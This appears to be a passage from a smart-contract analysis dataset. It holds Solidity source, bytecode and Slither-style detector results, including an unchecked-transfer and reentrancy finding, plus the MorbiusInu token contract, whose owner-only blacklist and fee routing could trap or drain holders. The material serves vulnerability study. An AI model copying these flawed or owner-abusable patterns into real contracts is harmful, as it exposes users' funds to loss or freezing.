purchased[msg.sender] = true; } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c80638f32d59b1161008c578063a035b1fe11610066578063a035b1fe14610284578063acec338a146102a2578063e5a6b10f146102d2578063f2fde38b1461031c576100cf565b80638f32d59b146101bc57806390118fb4146101de578063994f4f9f1461023a576100cf565b806302fb0c5e146100d457806308551a53146100f657806364edfbf0146101405780636fd976bc1461014a578063715018a6146101685780638da5cb5b14610172575b600080fd5b6100dc610360565b604051808215151515815260200191505060405180910390f35b6100fe610373565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610148610399565b005b610152610a67565b6040518082815260200191505060405180910390f35b610170610a6d565b005b61017a610ba6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101c4610bcf565b604051808215151515815260200191505060405180910390f35b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c2d565b604051808215151515815260200191505060405180910390f35b610242610c83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61028c610ca9565b6040518082815260200191505060405180910390f35b6102d0600480360360208110156102b857600080fd5b81019080803515159060200190929190505050610caf565b005b6102da610d46565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035e6004803603602081101561033257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d6c565b005b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610459576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a20416c72656164792070757263686173656421000081525060200191505060405180910390fd5b600760009054906101000a900460ff166104db576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204d61726b6574206e6f742061637469766521000081525060200191505060405180910390fd5b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662fdd58e600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b1580156105a757600080fd5b505afa1580156105bb573d6000803e3d6000fd5b505050506040513d60208110156105d157600080fd5b810190808051906020019092919050505011610655576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204e6f206d6f726520617661696c61626c6521000081525060200191505060405180910390fd5b670de0b6b3a764000060065402600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561070157600080fd5b505afa158015610715573d6000803e3d6000fd5b505050506040513d602081101561072b57600080fd5b810190808051906020019092919050505010156107b0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f43616e6e6f74206275793a204e656564206d6f726520636f696e21000000000081525060200191505060405180910390fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360015460016040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b1580156108ce57600080fd5b505af11580156108e2573d6000803e3d6000fd5b50505050600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd3361dead670de0b6b3a7640000600654026040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1580156109d157600080fd5b505af11580156109e5573d6000803e3d6000fd5b505050506040513d60208110156109fb57600080fd5b8101908080519060200190929190505050506001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b60015481565b610a75610bcf565b610ae7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c11610df2565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60065481565b610cb7610bcf565b610d29576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600760006101000a81548160ff02191690831515021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d74610bcf565b610de6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b610def81610dfa565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610f3f6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a72315820d7086fa94ab09cb06812578069ed6fc5a17d1858de1c7f132a9235655b8cb50e64736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,670
0x53f9415ec29e9439d38aeef6781c0a31d5e32771
/** *Submitted for verification at Etherscan.io on 2022-04-07 */ /** MorbiusInu Website: MORBIOUSINU.COM Tg: https://t.me/MorbiusInuErc MorbiusInu ( ERC20 ) Launching Stealth "Dangerously ill with a rare blood disorder and determined to save others from the same fate, Dr. Morbius attempts a desperate gamble. While at first it seems to be a radical success, a darkness inside of him is soon unleashed" */ pragma solidity ^0.8.13; // SPDX-License-Identifier: UNLICENSED abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract MorbiusInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet; string private constant _name = "MorbiusInu"; string private constant _symbol = "MorbiusInu"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _maxWalletSize = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet = payable(0x22a0f5f8d84F98Eda8319236D811ee13D0C1FEcE); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 0; _feeAddr2 = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize = _tTotal; } function changeMaxTxAmount(uint256 percentage) external onlyOwner{ require(percentage>0); _maxTxAmount = _tTotal.mul(percentage).div(100); } function changeMaxWalletSize(uint256 percentage) external onlyOwner{ require(percentage>0); _maxWalletSize = _tTotal.mul(percentage).div(100); } function sendETHToFee(uint256 amount) private { _feeAddrWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1000000000 * 10**9; _maxWalletSize = 2000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function nonosquare(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb146103a6578063b87f137a146103e3578063c3c8cd801461040c578063c9567bf914610423578063dd62ed3e1461043a5761012a565b806370a08231146102e5578063715018a614610322578063751039fc146103395780638da5cb5b1461035057806395d89b411461037b5761012a565b8063273123b7116100e7578063273123b714610228578063313ce567146102515780635932ead11461027c578063677daa57146102a55780636fc3eaec146102ce5761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd146101975780631b3f71ae146101c257806323b872dd146101eb5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610477565b604051610151919061271e565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c91906127e8565b6104b4565b60405161018e9190612843565b60405180910390f35b3480156101a357600080fd5b506101ac6104d2565b6040516101b9919061286d565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e491906129d0565b6104e3565b005b3480156101f757600080fd5b50610212600480360381019061020d9190612a19565b61060d565b60405161021f9190612843565b60405180910390f35b34801561023457600080fd5b5061024f600480360381019061024a9190612a6c565b6106e6565b005b34801561025d57600080fd5b506102666107d6565b6040516102739190612ab5565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190612afc565b6107df565b005b3480156102b157600080fd5b506102cc60048036038101906102c79190612b29565b610891565b005b3480156102da57600080fd5b506102e361096b565b005b3480156102f157600080fd5b5061030c60048036038101906103079190612a6c565b6109dd565b604051610319919061286d565b60405180910390f35b34801561032e57600080fd5b50610337610a2e565b005b34801561034557600080fd5b5061034e610b81565b005b34801561035c57600080fd5b50610365610c38565b6040516103729190612b65565b60405180910390f35b34801561038757600080fd5b50610390610c61565b60405161039d919061271e565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c891906127e8565b610c9e565b6040516103da9190612843565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612b29565b610cbc565b005b34801561041857600080fd5b50610421610d96565b005b34801561042f57600080fd5b50610438610e10565b005b34801561044657600080fd5b50610461600480360381019061045c9190612b80565b611330565b60405161046e919061286d565b60405180910390f35b60606040518060400160405280600a81526020017f4d6f7262697573496e7500000000000000000000000000000000000000000000815250905090565b60006104c86104c16113b7565b84846113bf565b6001905092915050565b600068056bc75e2d63100000905090565b6104eb6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610578576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056f90612c0c565b60405180910390fd5b60005b81518110156106095760016006600084848151811061059d5761059c612c2c565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061060190612c8a565b91505061057b565b5050565b600061061a848484611588565b6106db846106266113b7565b6106d6856040518060600160405280602881526020016136c160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061068c6113b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c199092919063ffffffff16565b6113bf565b600190509392505050565b6106ee6113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461077b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077290612c0c565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6107e76113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90612c0c565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b6108996113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091d90612c0c565b60405180910390fd5b6000811161093357600080fd5b61096260646109548368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b600f8190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109ac6113b7565b73ffffffffffffffffffffffffffffffffffffffff16146109cc57600080fd5b60004790506109da81611d41565b50565b6000610a27600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dad565b9050919050565b610a366113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ac3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aba90612c0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610b896113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d90612c0c565b60405180910390fd5b68056bc75e2d63100000600f8190555068056bc75e2d63100000601081905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4d6f7262697573496e7500000000000000000000000000000000000000000000815250905090565b6000610cb2610cab6113b7565b8484611588565b6001905092915050565b610cc46113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4890612c0c565b60405180910390fd5b60008111610d5e57600080fd5b610d8d6064610d7f8368056bc75e2d63100000611c7d90919063ffffffff16565b611cf790919063ffffffff16565b60108190555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd76113b7565b73ffffffffffffffffffffffffffffffffffffffff1614610df757600080fd5b6000610e02306109dd565b9050610e0d81611e1b565b50565b610e186113b7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ea5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9c90612c0c565b60405180910390fd5b600e60149054906101000a900460ff1615610ef5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eec90612d1e565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f8530600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006113bf565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fd0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff49190612d53565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561105b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061107f9190612d53565b6040518363ffffffff1660e01b815260040161109c929190612d80565b6020604051808303816000875af11580156110bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110df9190612d53565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730611168306109dd565b600080611173610c38565b426040518863ffffffff1660e01b815260040161119596959493929190612dee565b60606040518083038185885af11580156111b3573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111d89190612e64565b5050506001600e60166101000a81548160ff0219169083151502179055506001600e60176101000a81548160ff021916908315150217905550670de0b6b3a7640000600f81905550671bc16d674ec800006010819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016112e9929190612eb7565b6020604051808303816000875af1158015611308573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132c9190612ef5565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361142e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142590612f94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361149d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149490613026565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161157b919061286d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036115f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ee906130b8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161165d9061314a565b60405180910390fd5b600081116116a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a0906131dc565b60405180910390fd5b6000600a81905550600a600b819055506116c1610c38565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172f57506116ff610c38565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c0957600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6117e157600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561188c5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118fa5750600e60179054906101000a900460ff165b15611a3857600f54811115611944576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193b90613248565b60405180910390fd5b60105481611951846109dd565b61195b9190613268565b111561199c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119939061330a565b60405180910390fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffffffffffffffff